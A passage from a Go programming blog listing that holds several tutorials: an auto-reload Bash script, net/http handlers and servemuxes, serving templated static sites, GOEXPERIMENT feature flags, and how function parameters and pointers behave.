c.amount += i c.Unlock() } func (c *currency) Display() string { c.RLock() defer c.RUnlock() return strconv.FormatFloat(c.amount, 'f', 2, 64) + " " + c.code } If you found this post useful, you might like to subscribe to my RSS feed.

• Automatic code reloading in Go
  Alex Edwards · Sep 20, 2013

  I wrote a short Bash script to automatically reload Go programs. The script acts as a light wrapper around go run, stopping and restarting it whenever a .go file in your current directory or $GOPATH/src folder is saved. I've been using it mainly when developing web applications, in the same way that I use Shotgun or Guard when working with Ruby. You can grab this from the Github repository. File: go-reload #!/bin/bash # Watch all *.go files in the specified directory # Call the restart function when they are saved function monitor() { inotifywait -q -m -r -e close_write --exclude '[^g][^o]$' $1 | while read line; do restart done } # Terminate and rerun the main Go program function restart { if [ "$(pidof $PROCESS_NAME)" ]; then killall -q -w -9 $PROCESS_NAME fi echo ">> Reloading..." go run $FILE_PATH $ARGS & } # Make sure all background processes get terminated function close { killall -q -w -9 inotifywait exit 0 } trap close INT echo "== Go-reload" echo ">> Watching directories, CTRL+C to stop" FILE_PATH=$1 FILE_NAME=$(basename $FILE_PATH) PROCESS_NAME=${FILE_NAME%%.*} shift ARGS=$@ # Start the main Go program go run $FILE_PATH $ARGS & # Monitor the /src directories in all directories on the GOPATH OIFS="$IFS" IFS=':' for path in $GOPATH do monitor $path/src & done IFS="$OIFS" # Monitor the current directory monitor . Usage The only dependency for this script is inotify-tools, which is used to monitor the filesystem for changes. $ sudo apt-get install inotify-tools Once you've downloaded (or copy-pasted) the script, you'll need to make it executable and move it to /usr/local/bin or another directory on your system path: $ wget https://raw.github.com/alexedwards/go-reload/master/go-reload $ chmod +x go-reload $ sudo mv go-reload /usr/local/bin/ You should then be able to use the go-reload command in place of go run: $ go-reload main.go == Go-reload >> Watching directories, CTRL+C to stop If you found this post useful, you might like to subscribe to my RSS feed.

• An introduction to Handlers and Servemuxes in Go
  Alex Edwards · Sep 12, 2013

  Processing HTTP requests with Go is primarily about two things: handlers and servemuxes. If you’re coming from an MVC-background, you can think of handlers as being a bit like controllers. Generally speaking, they're responsible for carrying out your application logic and writing response headers and bodies. Whereas a servemux (also known as a router) stores a mapping between the predefined URL paths for your application and the corresponding handlers. Usually you have one servemux for your application containing all your routes. Go's net/http package ships with the simple but effective http.ServeMux servemux, plus a few functions to generate common handlers including http.FileServer(), http.NotFoundHandler() and http.RedirectHandler(). Let's take a look at a simple (but slightly contrived!) example which uses these: $ mkdir example $ cd example $ go mod init example.com $ touch main.go File: main.go package main import ( "log" "net/http" ) func main() { // Use the http.NewServeMux() function to create an empty servemux. mux := http.NewServeMux() // Use the http.RedirectHandler() function to create a handler which 307 // redirects all requests it receives to http://example.org. rh := http.RedirectHandler("http://example.org", 307) // Next we use the mux.Handle() function to register this with our new // servemux, so it acts as the handler for all incoming requests with the URL // path /foo. mux.Handle("/foo", rh) log.Print("Listening...") // Then we create a new server and start listening for incoming requests // with the http.ListenAndServe() function, passing in our servemux for it to // match requests against as the second parameter. http.ListenAndServe(":3000", mux) } Go ahead and run the application: $ go run main.go 2021/12/06 15:09:43 Listening... And if you make a request to http://localhost:3000/foo you should find that it gets successfully redirected like so: $ curl -IL localhost:3000/foo HTTP/1.1 307 Temporary Redirect Content-Type: text/html; charset=utf-8 Location: http://example.org Date: Mon, 06 Dec 2021 14:10:18 GMT HTTP/1.1 200 OK Content-Encoding: gzip Accept-Ranges: bytes Age: 254488 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Mon, 06 Dec 2021 14:10:18 GMT Etag: "3147526947+gzip" Expires: Mon, 13 Dec 2021 14:10:18 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (dcb/7EEF) X-Cache: HIT Content-Length: 648 Whereas all other requests should be met with a 404 Not Found error response. $ curl -IL localhost:3000/bar HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 06 Dec 2021 14:22:51 GMT Content-Length: 19 Custom handlers The handlers that ship with net/http are useful, but most of the time when building a web application you'll want to use your own custom handlers instead. So how do you do that? The first thing to explain is that anything in Go can be a handler so long as it satisfies the http.Handler interface, which looks like this: type Handler interface { ServeHTTP(ResponseWriter, *Request) } If you're not familiar with interfaces in Go I've written an explanation here, but in simple terms all it means is that a handler must have a ServeHTTP() method with the following signature: ServeHTTP(http.ResponseWriter, *http.Request) To help demonstrate, let's create a custom handler which responds with the current time in a specific format. Like this: type timeHandler struct { format string } func (th timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(th.format) w.Write([]byte("The time is: " + tm)) } The exact code here isn't too important. All that really matters is that we have an object (in this case it's a timeHandler struct, but it could equally be a string or function or anything else), and we've implemented a method with the signature ServeHTTP(http.ResponseWriter, *http.Request) on it. That's all we need to make a handler. Let's try this out in a concrete example: File: main.go package main import ( "log" "net/http" "time" ) type timeHandler struct { format string } func (th timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(th.format) w.Write([]byte("The time is: " + tm)) } func main() { mux := http.NewServeMux() // Initialise the timeHandler in exactly the same way we would any normal // struct. th := timeHandler{format: time.RFC1123} // Like the previous example, we use the mux.Handle() fnction to register // this with our ServeMux. mux.Handle("/time", th) log.Print("Listening...") http.ListenAndServe(":3000", mux) } Run the application, then go ahead and try making a request to http://localhost:3000/time. You should get a response containing the current time, similar to this: $ curl localhost:3000/time The time is: Mon, 06 Dec 2021 15:33:21 CET Let's step through what's happening here: When our Go server receives an incoming HTTP request it hands it off to our servemux (the one that we passed to the http.ListenAndServe() function). The servemux then looks up the appropriate handler based on the request path (in this case, the /time path maps to our timeHandler handler). The serve mux then calls the ServeHTTP() method of the handler, which in turn writes out the HTTP response. The eagle-eyed of you might have also noticed something interesting: the signature for the http.ListenAndServe() function is ListenAndServe(addr string, handler Handler), but we passed a servemux as the second parameter. We were able to do this because the http.ServeMux type has a ServeHTTP() method, meaning that it too satisfies the http.Handler interface. For me it simplifies things to think of http.ServeMux as just being a special kind of handler, which instead of providing a response itself passes the request on to a second handler. This isn't as much of a leap as it first sounds — chaining handlers together is very commonplace in Go. Functions as handlers For simple cases (like the example above) defining new a custom type just to make a handler feels a bit verbose. Fortunately, we can rewrite the handler as a simple function instead: func timeHandler(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(time.RFC1123) w.Write([]byte("The time is: " + tm)) } Now, if you've been following along, you're probably looking at that and wondering: How can that be a handler? It doesn't have a ServeHTTP() method. And you'd be correct. This function itself is not a handler. But we can coerce it into being a handler by converting it to a http.HandlerFunc type. Basically, any function which has the signature func(http.ResponseWriter, *http.Request) can be converted into a http.HandlerFunc type. This is useful because http.HandlerFunc objects come with an inbuilt ServeHTTP() method which — rather cleverly and conveniently — executes the content of the original function. If that sounds confusing, try taking a look at the relevant source code. You'll see that it's a very succinct way of making a function satisfy the http.Handler interface. Let's reproduce the our application using this technique: File: main.go package main import ( "log" "net/http" "time" ) func timeHandler(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(time.RFC1123) w.Write([]byte("The time is: " + tm)) } func main() { mux := http.NewServeMux() // Convert the timeHandler function to a http.HandlerFunc type. th := http.HandlerFunc(timeHandler) // And add it to the ServeMux. mux.Handle("/time", th) log.Print("Listening...") http.ListenAndServe(":3000", mux) } In fact, converting a function to a http.HandlerFunc type and then adding it to a servemux like this is so common that Go provides a shortcut: the mux.HandleFunc() method. You can use this like so: func main() { mux := http.NewServeMux() mux.HandleFunc("/time", timeHandler) log.Print("Listening...") http.ListenAndServe(":3000", mux) } Passing variables to handlers Most of the time using a function as a handler like this works well. But there is a bit of a limitation when things start getting more complex. You've probably noticed that, unlike the method before, we've had to hardcode the time format in the timeHandler function. What happens when you want to pass information or variables from main() to a handler? A neat approach is to put our handler logic into a closure, and close over the variables we want to use, like this: File: main.go package main import ( "log" "net/http" "time" ) func timeHandler(format string) http.Handler { fn := func(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(format) w.Write([]byte("The time is: " + tm)) } return http.HandlerFunc(fn) } func main() { mux := http.NewServeMux() th := timeHandler(time.RFC1123) mux.Handle("/time", th) log.Print("Listening...") http.ListenAndServe(":3000", mux) } The timeHandler() function now has a subtly different role. Instead of coercing the function into a handler (like we did previously), we are now using it to return a handler. There's two key elements to making this work. First it creates fn, an anonymous function which accesses — or closes over — the format variable forming a closure. Regardless of what we do with the closure it will always be able to access the variables that are local to the scope it was created in — which in this case means it'll always have access to the format variable. Secondly our closure has the signature func(http.ResponseWriter, *http.Request). As you may remember from a moment ago, this means that we can convert it into a http.HandlerFunc type (so that it satisfies the http.Handler interface). Our timeHandler() function then returns this converted closure. In this example we've just been passing a simple string to a handler. But in a real-world application you could use this method to pass database connection, template map, or any other application-level context. It's a good alternative to using global variables, and has the added benefit of making neat self-contained handlers for testing. You might also see this same pattern written as: func timeHandler(format string) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(format) w.Write([]byte("The time is: " + tm)) }) } Or using an implicit conversion to the http.HandlerFunc type on return: func timeHandler(format string) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(format) w.Write([]byte("The time is: " + tm)) } } The default servemux You've probably seen the default servemux mentioned in a lot of places, from the simplest Hello World examples to the Go source code. It took me a long time to realise it isn't anything special. The default servemux is just a plain ol' servemux like we've already been using, which gets instantiated by default when the net/http package is used and is stored in a global variable. Here's the relevant line from the Go source: var DefaultServeMux = NewServeMux() Generally speaking, I recommended against using the default servemux because it makes your code less clear and explicit and it poses a security risk. Because it's stored in a global variable, any package is able to access it and register a route — including any third-party packages that your application imports. If one of those third-party packages is compromised, they could use the default servemux to expose a malicious handler to the web. Instead it's better to use your own locally-scoped servemux, like we have been so far. But if you do decide to use the default servemux... The net/http package provides a couple of shortcuts for registering routes with the default servemux: http.Handle() and http.HandleFunc(). These do exactly the same as their namesake functions we've already looked at, with the difference that they add handlers to the default servemux instead of one that you've created. Additionally, http.ListenAndServe() will fall back to using the default servemux if no other handler is provided (that is, the second parameter is set to nil). So as a final step, let's demonstrate how to use the default servemux in our application instead: File: main.go package main import ( "log" "net/http" "time" ) func timeHandler(format string) http.Handler { fn := func(w http.ResponseWriter, r *http.Request) { tm := time.Now().Format(format) w.Write([]byte("The time is: " + tm)) } return http.HandlerFunc(fn) } func main() { // Note that we skip creating the ServeMux... var format string = time.RFC1123 th := timeHandler(format) // We use http.Handle instead of mux.Handle... http.Handle("/time", th) log.Print("Listening...") // And pass nil as the handler to ListenAndServe. http.ListenAndServe(":3000", nil) }

• Serving static sites with Go
  Alex Edwards · Aug 24, 2013

  I've recently moved the site you're reading right now from a Sinatra/Ruby application to an (almost) static site served by Go. So while it's fresh in my head, here's an explanation of principles behind creating and serving static sites with Go. Let's begin with a simple but real-world example: serving vanilla HTML and CSS files from a particular location on disk. Start by creating a directory to hold the project: $ mkdir static-site $ cd static-site And then add a main.go file to hold our code, and some simple HTML and CSS files in a static directory. $ touch main.go $ mkdir -p static/stylesheets $ touch static/example.html static/stylesheets/main.css File: static/example.html A static page Hello from a static page File: static/stylesheets/main.css body {color: #c0392b} Once those files are created, the code we need to get up and running is wonderfully compact: File: main.go package main import ( "log" "net/http" ) func main() { fs := http.FileServer(http.Dir("./static")) http.Handle("/", fs) log.Print("Listening on :3000...") err := http.ListenAndServe(":3000", nil) if err != nil { log.Fatal(err) } } Let's step through this. First we use the http.FileServer() function to create a handler which responds to all HTTP requests with the contents of a given file system. For our file system we're using the static directory relative to our application, but you could use any other directory on your machine (or indeed any object that implements the http.FileSystem interface). Next we use the http.Handle() function to register the file server as the handler for all requests, and launch the server listening on port 3000. It's worth pointing out that in Go the pattern "/" matches all request paths, rather than just the empty path. Go ahead and run the application: $ go run main.go Listening on :3000... And open localhost:3000/example.html in your browser. You should see the HTML page we made with a big red heading. Almost-Static Sites If you're creating a lot of static HTML files by hand, it can be tedious to keep repeating boilerplate content. Let's explore using Go's html/template package to put shared markup in a layout file. At the moment all requests are being handled by our file server. Let's make a slight adjustment to our application so the file server only handles request paths that begin with the pattern /static/ instead. File: main.go ... func main() { fs := http.FileServer(http.Dir("./static")) http.Handle("/static/", http.StripPrefix("/static/", fs)) log.Print("Listening on :3000...") err := http.ListenAndServe(":3000", nil) if err != nil { log.Fatal(err) } } Notice that because our static directory is set as the root of the file system, we need to strip off the /static/ prefix from the request path before searching the file system for the given file. We do this using the http.StripPrefix() function. If you restart the application, you should find the CSS file we made earlier available at localhost:3000/static/stylesheets/main.css. Now let's create a templates directory, containing a layout.html file with shared markup, and an example.html file with some page-specific content. $ mkdir templates $ touch templates/layout.html templates/example.html File: templates/layout.html {{define "layout"}} {{template "title"}} {{template "body"}} Made with Go {{end}} File: templates/example.html {{define "title"}}A templated page{{end}} {{define "body"}} Hello from a templated page {{end}} If you've used templating in other web frameworks or languages before, this should hopefully feel familiar. Go templates – in the way we're using them here – are essentially just named text blocks surrounded by {{define}} and {{end}} tags. Templates can be embedded into each other using the {{template}} tag, like we do above where the layout template embeds both the title and body templates. Let's update the application code to use these: File: main.go package main import ( "html/template" "log" "net/http" "path/filepath" ) func main() { fs := http.FileServer(http.Dir("./static")) http.Handle("/static/", http.StripPrefix("/static/", fs)) http.HandleFunc("/", serveTemplate) log.Print("Listening on :3000...") err := http.ListenAndServe(":3000", nil) if err != nil { log.Fatal(err) } } func serveTemplate(w http.ResponseWriter, r *http.Request) { lp := filepath.Join("templates", "layout.html") fp := filepath.Join("templates", filepath.Clean(r.URL.Path)) tmpl, _ := template.ParseFiles(lp, fp) tmpl.ExecuteTemplate(w, "layout", nil) } So what's changed here? First we've added the html/template and path packages to the import statement. Then we've specified that all the requests not picked up by the static file server should be handled with a new serveTemplate function (if you were wondering, Go matches patterns based on length, with longer patterns take precedence over shorter ones). In the serveTemplate function, we build paths to the layout file and the template file corresponding with the request. Rather than manual concatenation we use filepath.Join(), which has the advantage joining paths using the correct separator for your OS. Importantly, because the URL path is untrusted user input, we use filepath.Clean() to sanitise the URL path before using it. (Note that even though filepath.Join() automatically runs the joined path through filepath.Clean(), to help prevent directory traversal attacks you need to manually sanitise any untrusted inputs before joining them.) We then use the template.ParseFiles() function to bundle the requested template and layout into a template set. Finally, we use the template.ExecuteTemplate() function to render a named template in the set, in our case the layout template. Restart the application: $ go run main.go Listening on :3000... And open localhost:3000/example.html in your browser. You should see the markup from all the templates merged together like so: If you use web developer tools to inspect the HTTP response, you'll also see that Go automatically sets the correct Content-Type and Content-Length headers for us. Lastly, let's make the code a bit more robust. We should: Send a 404 response if the requested template doesn't exist. Send a 404 response if the requested template path is a directory. Send a 500 response if the template.ParseFiles() or template.ExecuteTemplate() functions throw an error, and log the detailed error message. File: main.go package main import ( "html/template" "log" "net/http" "os" "path/filepath" ) func main() { fs := http.FileServer(http.Dir("./static")) http.Handle("/static/", http.StripPrefix("/static/", fs)) http.HandleFunc("/", serveTemplate) log.Print("Listening on :3000...") err := http.ListenAndServe(":3000", nil) if err != nil { log.Fatal(err) } } func serveTemplate(w http.ResponseWriter, r *http.Request) { lp := filepath.Join("templates", "layout.html") fp := filepath.Join("templates", filepath.Clean(r.URL.Path)) // Return a 404 if the template doesn't exist info, err := os.Stat(fp) if err != nil { if os.IsNotExist(err) { http.NotFound(w, r) return } } // Return a 404 if the request is for a directory if info.IsDir() { http.NotFound(w, r) return } tmpl, err := template.ParseFiles(lp, fp) if err != nil { // Log the detailed error log.Print(err.Error()) // Return a generic "Internal Server Error" message http.Error(w, http.StatusText(500), 500) return } err = tmpl.ExecuteTemplate(w, "layout", nil) if err != nil { log.Print(err.Error()) http.Error(w, http.StatusText(500), 500) } }

• A fresh start
  Alex Edwards · Aug 17, 2013

  I've never really known what to do with my personal site. Over the years it's been a dumping ground for links to different projects, and played host to various half-hearted attempts at blogging. But it's never really had much in the way of an actual purpose. I decided to start afresh and relaunch this site with more of a focus. After speaking to the guys from Techzing, I'm going to hunker down and focus my efforts on learning Go really well, with the aim of possibly doing some consultancy work around it in the future. So over the coming months and maybe even years, I hope to create a lot of useful content for anyone else doing the same. Because it's also full redesign of the site, I'll do a little colophon. The site is now just static content, although I use Sass for stylesheets and Markdown for writing blog posts (both of which are compiled on my local machine before publication). Some custom Go code handles the routing and templating, and it's all hosted on Heroku. For development I used Ubuntu as my operating system, Sublime Text as my editor, Git for version control, and Dropbox for real-time backups. So with the mandatory first new post out of the way, I'm looking forward to doing a lot more with this site in the future!

• Go Experiments Explained
  Alex Edwards

  Go often ships with experimental features as part of a release. These experimental features can take different forms: sometimes they're completely new packages in the standard library, sometimes they're changes to the compiler or runtime, or – very occasionally – they can be breaking changes to Go's behavior. Most of the time, the purpose of experimental features is to get real-world feedback from users before something graduates to general availability and becomes a permanent part of Go. If the feature causes regressions, or gets negative feedback from the community, it can be changed before it is finalized – or even abandoned entirely. Some examples Let's look at a few recent examples to illustrate the type of things that Go experiments can cover. Go 1.24 shipped with experimental support for a new testing/synctest package (which provides support for testing concurrent code). After feedback, the package API was adjusted slightly and it graduated to general availability in Go 1.25. Go 1.25 shipped with experimental support for a new garbage collector design with better performance. After incorporating feedback, the new garbage collector became the default in Go 1.26. Go 1.21 shipped with an experimental behavioral change to loop variable semantics. This change closed off a previously common bug with Go code, but was technically a breaking change to the language. Shipping the change as an experiment gave people a chance to test their code before the new behavior became the default in Go 1.22. Experiment lifecycle There isn’t a single fixed lifecycle for experiments, but there are some common patterns. Most experiments initially ship as off-by-default. You explicitly opt-in to try out the feature, usually by setting the GOEXPERIMENT environment value (which we'll talk about more in a moment). If things go well, one or two releases later the experimental feature is finalized, graduates to general availability, and becomes on-by-default. If an experiment affects the behavior of something, then after it graduates to general availability there is sometimes – but not always – a transitional grace period where it's possible to temporarily disable it and use the old behavior. For example, in Go 1.26 the new garbage collector design (which we briefly mentioned above) graduated to general availability and is on-by-default, but it's still possible to disable it and use the old garbage collector if you need to. So that's the most common pattern, but sometimes things take longer or work out differently. For example: Go 1.22 shipped with an experimental implementation of the compiler's inlining logic, which is still off-by-default and under evaluation more than two years later. The same release also shipped with a memory arenas experiment. After negative feedback and concerns from users, it remains off-by-default, is on indefinite hold, and may eventually be removed completely. Or finally, when the Go team is confident in a change, they might skip the feedback stage and go straight to general availability... but there may still be a transitional grace period where it's possible to disable it. A good example of this is when Go 1.24 changed its map implementation to use Swiss tables. The Go team was confident enough in the implementation and its performance benefits for this to go straight to general availability and become on-by-default, but – at least for now – it's still possible to opt out and use the old map implementation if you want to. So in practice there are really three broad experiment states: Off-by-default and under evaluation Off-by-default and on hold/dormant On-by-default with a temporary opt-out Permanent experiments Go also has a handful of experimental features that aren't really “experiments” in the normal sense. These are features that are off-by-default, but they're not under evaluation, not seeking feedback, and there's no expectation that they will ever graduate to general availability and become on-by-default. Although they are controlled by the GOEXPERIMENT environment setting in the same way as other experiments, really they are more like optional Go features that you might want to use in specialist situations. I'll refer to these as "permanent experiments" in the rest of this post. For example there is a field tracking diagnostic feature that tracks which struct fields are accessed. It's been available for a decade, and there's no intention for it to ever graduate to general availability. Or there is a static lock ranking feature, which is a diagnostic for finding potential deadlocks in the Go runtime. What experiments are available right now? It's surprisingly difficult to find out what experimental features are currently available and what their status is. Unfortunately, there isn't a page in the official Go documentation or Go Wiki that tracks experiment status, and for this post I've had to piece together the information from various places. If you want to do the same: You can get a list of all available experiments by running $ go doc goexperiment.Flags. You can figure out which experiments are on-by-default by reading the source code of src/internal/buildcfg/exp.go – specifically looking at the baseline variable declaration in the ParseGOEXPERIMENT() function. You can cross-reference the experiment names with the Go release notes and search through GitHub issues to try to figure out the current status. As far as I can tell, as of Go 1.26 here are the available permanent experiments: Experiment name Description Status FieldTrack Diagnostic to track which struct fields are accessed Off-by-default and permanent fixture StaticLockRanking Diagnostic to validate lock acquisition order to catch deadlocks Off-by-default and permanent fixture CgoCheck2 Diagnostic to check cgo pointer passing rules; too expensive to run by default Off-by-default and permanent fixture BoringCrypto Replaces Go's crypto with FIPS-validated BoringSSL; no longer relevant since Go 1.24 Off-by-default and permanent fixture but will be removed soon PreemptibleLoops Allows scheduler to preempt goroutines at loop back-edges; generally not relevant since Go 1.14, but still may be useful on platforms where preemption is otherwise unsupported Off-by-default and permanent fixture Here are the current off-by-default experiments and their status: Experiment name Description Status HeapMinimum512KiB Reduces minimum heap size from 4MB to 512KiB; may be useful for constrained environments Off-by-default and likely dormant Arenas Memory arena implementation Off-by-default and on hold following negative feedback NewInliner Rewritten compiler inliner with better call-site heuristics Off-by-default and under evaluation (available since Go 1.22) JSONv2 New encoding/json/v2 package with improved JSON encoding/decoding functions Off-by-default and under evaluation (available since Go 1.25) RuntimeSecret New runtime/secret package with functions for zeroing out memory; available on Linux amd64/arm64 only Off-by-default and under evaluation (available since Go 1.26) GoroutineLeakProfile Adds a goroutineleak pprof profile type Off-by-default and under evaluation (available since Go 1.26) SIMD New simd/archsimd package providing access to architecture-specific SIMD operations; only available on amd64 Off-by-default and under evaluation (available since Go 1.26) RuntimeFreegc Allows immediate reuse of memory without waiting for a GC cycle when safe to do so Off-by-default and under evaluation (available since Go 1.26, but see #74299 for status information) SizeSpecializedMalloc Enables malloc implementations that are specialized per size class Off-by-default and under evaluation (available since Go 1.26, but see #74299 for status information) And here are the currently on-by-default experiments: Experiment name Description Status LoopVar Per-iteration loop variable scoping On-by-default since Go 1.22, but opt-out kept for edge cases Dwarf5 DWARF 5 debug info generation; reduces binary size On-by-default with a temporary opt-out (opt-out may be removed in a future release) RandomizedHeapBase64 Randomizes the heap base address at startup as a security measure On-by-default with a temporary opt-out (opt-out expected to be removed in a future release) GreenTeaGC New garbage collector with improved performance; unavailable on darwin/ios/aix On-by-default with a temporary opt-out (opt-out expected to be removed in Go 1.27) RegabiWrappers ABI wrappers for calling between ABI0 and ABIInternal functions; only available on 64-bit architectures On-by-default with a temporary opt-out, but opt-out is effective for s390x only, and will be removed in Go 1.27 RegabiArgs Enables register arguments/results in all compiled Go functions; only available on 64-bit architectures On-by-default with a temporary opt-out, but opt-out is effective for s390x only, and will be removed in Go 1.27 How do you enable and disable experiments? Experiments are controlled using the GOEXPERIMENT environment setting. If there are some off-by-default experiments you want to try, you should include the experiment names as comma-separated lowercase values in GOEXPERIMENT. For example, if you wanted to build your application with the JSONv2 and GoroutineLeakProfile experiments enabled, you would do so like this: $ GOEXPERIMENT=jsonv2,goroutineleakprofile go build ./... If there is an on-by-default experiment that you want to turn off, you do so by prefixing the lowercase experiment name with no. For example, if you want to build your application with the GreenTeaGC and RandomizedHeapBase64 experiments turned off, you would do so like this: $ GOEXPERIMENT=nogreenteagc,norandomizedheapbase64 go build ./... It's totally fine to mix enabled and disabled experiments: $ GOEXPERIMENT=jsonv2,nogreenteagc go build ./... Note that if you build the same package with different GOEXPERIMENT values, Go treats them as different builds and stores separate entries in the build cache. I've used go build in the examples above, but you can use exactly the same pattern when using go run or go test too. If you want to try it yourself, try creating the following program which uses the experimental encoding/json/v2 package: package main import ( "encoding/json/v2" "fmt" ) type Person struct { Name string `json:"name"` Age int `json:"age"` City string `json:"city"` } func main() { p := Person{Name: "Ada", Age: 36, City: "Vienna"} data, _ := json.Marshal(p, json.StringifyNumbers(true)) fmt.Println(string(data)) } If you run this normally, the program won't compile and you'll get an error message similar to this: $ go run main.go package command-line-arguments imports encoding/json/v2: build constraints exclude all Go files in /usr/local/go/src/encoding/json/v2 But if you enable the JSONv2 experiment, the program will run as expected: $ GOEXPERIMENT=jsonv2 go run main.go {"name":"Ada","age":"36","city":"Vienna"} Which experiments should you actually care about? If you're a run-of-the-mill Gopher like me, who mainly uses Go to write programs rather than working on Go itself, most of the available experiments probably won't be very relevant to you. The most interesting and relevant ones probably are: GreenTeaGC – If you're using Go 1.26, you're already using this by default. But if you notice any performance or behavior problems, it's worth being aware that you can still disable it (and you should also file an issue). Dwarf5 – Again, if you're using Go 1.25 or later then you're already using this by default. But if you run into any problems, it's useful to know that you can still disable it. JSONv2 – I don't recommend switching to this until it graduates to general availability, but if you write a lot of code that deals with JSON, it's worth experimenting with the new encoding/json/v2 package, familiarizing yourself with what's coming, and giving feedback if you notice any problems. GoroutineLeakProfile – This one is immediately useful and worth enabling if you suspect you have a goroutine leak and need to debug it. RuntimeSecret – Worth experimenting with and giving feedback on if you write cryptographic code or need to handle sensitive data. RuntimeFreegc – If you have an application that leans heavily on the garbage collector, it may be worth benchmarking your code with this enabled to see if it improves performance, and giving feedback if you notice any issues. Finally, it's worth emphasizing that experimental features are not covered by the Go compatibility promise. Their APIs, behavior, and performance characteristics may all change, so it's generally a good idea to avoid adopting too early and depending on experimental features before they are finalized. But experimental features often act as a preview to some of the biggest changes in Go. If you know that an experiment is likely to affect you or your code once it eventually becomes generally available and on-by-default, it's a good idea to try it out, run benchmarks where appropriate, and give feedback if you find issues. If you want to keep track of what experiments are available and their status, the Go release notes have recently started doing a much better job of documenting experimental features and how to use them. Between this blog post and browsing the release notes when there's a new Go release, you should have a decent idea of what's going on.

• Demystifying function parameters in Go
  Alex Edwards

  In this post we're going to talk about how (and why!) different types of function parameters behave differently in Go. If you're new (or even not-so-new) to Go, this can be a common source of confusion and questions. Why do functions generally mutate maps and slices, but not other data types? Why isn't my slice being mutated when I append to it in a function? Why doesn't assigning a new value to a pointer parameter have any effect outside the function? Once you understand how functions and the different Go types work, the answers to these kind of questions becomes clearer. You'll discover that Go's behavior consistently follows a few fairly straightforward rules, which I'll aim to highlight in this post. (If you just want the actionable takeaways, you can skip to the summary.) Note: In this post we'll be talking a lot about pointers, so if you're not 100% sure what pointers are, or the terms reference operator and dereference operator don't mean anything to you, then I recommend reading my gentle introduction to pointers tutorial before continuing with this one. Parameters and arguments Before we dive into this post, I'd like to quickly explain the difference between parameters and arguments. People sometimes use these terms interchangeably – but for this tutorial it's important that we're precise on the terminology. Parameters are the variables that you define in a function declaration. Arguments are the values that get passed to the function for execution. (A neat way to remember this is arguments = actual values.) Functions operate on copies of the arguments It's important to understand that when you call a function in Go, the function always operates on a copy of the arguments. That is, the parameters contain a copy of the argument values. We can illustrate this with the following short example: package main import "fmt" func incrementScore(s int) { s += 10 } func main() { score := 20 incrementScore(score) fmt.Println("The score is", score) // Prints: "The score is 20" } When you run this program it will print "The score is 20", not "The score is 30". That's because the parameter s in incrementScore() contains a copy of the score argument, and when we increment the value with s += 10 we are updating this copy, not the original score variable in the main() function. We can confirm this behavior by using the reference operator & to get the memory addresses of the score argument and s parameter, like so: package main import "fmt" func incrementScore(s int) { fmt.Println("has address", &s) // Prints: "has address 0xc000012040" s += 10 } func main() { score := 20 fmt.Println("has address", &score) // Prints: "has address 0xc000012028" incrementScore(score) } If you run this, you'll see that the printed memory addresses are different – in my case 0xc000012028 for the score argument and 0xc000012040 for the parameter s. That confirms that they are truly different variables, with their values stored at different locations in memory. With that in mind, it's not surprising that changing one doesn't change the other. Just to hammer home the point one more time: in Go, functions always operate on a copy of the arguments. There are no exceptions to this. Pointer parameters So, what can we do if we want incrementScore() to actually change the score variable? The answer is to change the signature of incrementScore() so that the parameter s is a pointer, like func incrementScore(s *int). Let's take a look at a working example and then talk it through. package main import "fmt" func incrementScore(s *int) { newScore := *s + 10 *s = newScore } func main() { score := 20 incrementScore(&score) fmt.Println("The score is", score) // Prints: "The score is 30" } In this code: We declare the score variable normally in main() with the line score := 20. Then in the line incrementScore(&score) we use the reference operator & to get a pointer to the score variable, and pass this pointer as the argument to incrementScore(). Remember, a pointer just contains a memory address – in this case it's the memory address of the score variable. When incrementScore() is executed, the parameter s contains a copy of this pointer. But this copy still holds the same memory address – the memory address of the score variable. In the line newScore := *s + 10 we use the dereference operator *s to 'read through' and get the underlying value at that memory address, and add ten to it. Then in the next line *s = newScore we use the dereference operator again to 'write through' and set newScore as the value at that memory address. The end result is that we've mutated the value at the memory address of the score variable. So when the program executes the final line of code, we get the output "The score is 30". I should point out that I made the code here a bit more verbose than it needs to be. You can simplify incrementScore() to use the += operator like so: func incrementScore(s *int) { *s += 10 } Write-though vs reassignment In the example above, we used the deference operator *s to read-through and then write-through to the underlying memory address. But what would happen if we didn't write-through, and assigned a completely new pointer value to s instead? Let's take a look. package main import "fmt" func incrementScore(s *int) { newScore := *s + 10 s = &newScore } func main() { score := 20 incrementScore(&score) fmt.Println("The score is", score) // Prints: "The score is 20" } If you run this, you'll see we're back to the situation where the score value isn't being mutated, and the program is printing "The score is 20" again. The only thing that's changed here is the body of the incrementScore() function. In this code: The line newScore := *s + 10 is exactly the same as before. It reads through to get the underlying score value from the s parameter, adds ten to it, and assigns the result to the newScore variable. But the line s = &newScore is different. Here we use the reference operator &newScore to get a pointer to the newScore variable, and assign this to s. This means that the variable s no longer contains the memory address of the score variable from main() – it now contains the memory address of the newScore variable. So, in this example, incrementScore() doesn't ever 'write-through' and change anything at the memory address of the score variable. All it does is replace s with a completely different pointer, which is then discarded when the function returns. This is just one example of a more general rule. Assigning a new value to a parameter with the = operator won't affect the argument in any way (unless the parameter is a pointer and you are dereferencing it and 'writing-through' a new value). Remember, the parameter is just a copy of the argument. Automatic dereferencing Let's continue with the same example, but update the incrementScore() function so that it accepts a pointer to a custom player struct, containing the player's name and score. package main import "fmt" type player struct { name string score int } // Make the parameter a pointer to a player struct. func incrementScore(p *player) { p.score += 10 } func main() { // Initialize a player struct and assign it to the variable p1. p1 := player{name: "Alice", score: 20} // Pass a pointer to p1 to incrementScore(). incrementScore(&p1) fmt.Printf("The score for %s is %d", p1.name, p1.score) // Prints: "The score for Alice is 30" } So as you might expect, because the parameter p in incrementScore() is a pointer, the changes that we make to p affect the data at the underlying memory address of p1 and the program prints "The score for Alice is 30". But the most interesting part here is the line of code p.score += 10 in the incrementScore() function. p is a pointer, but we appears that we don't have to dereference it using the * operator in order 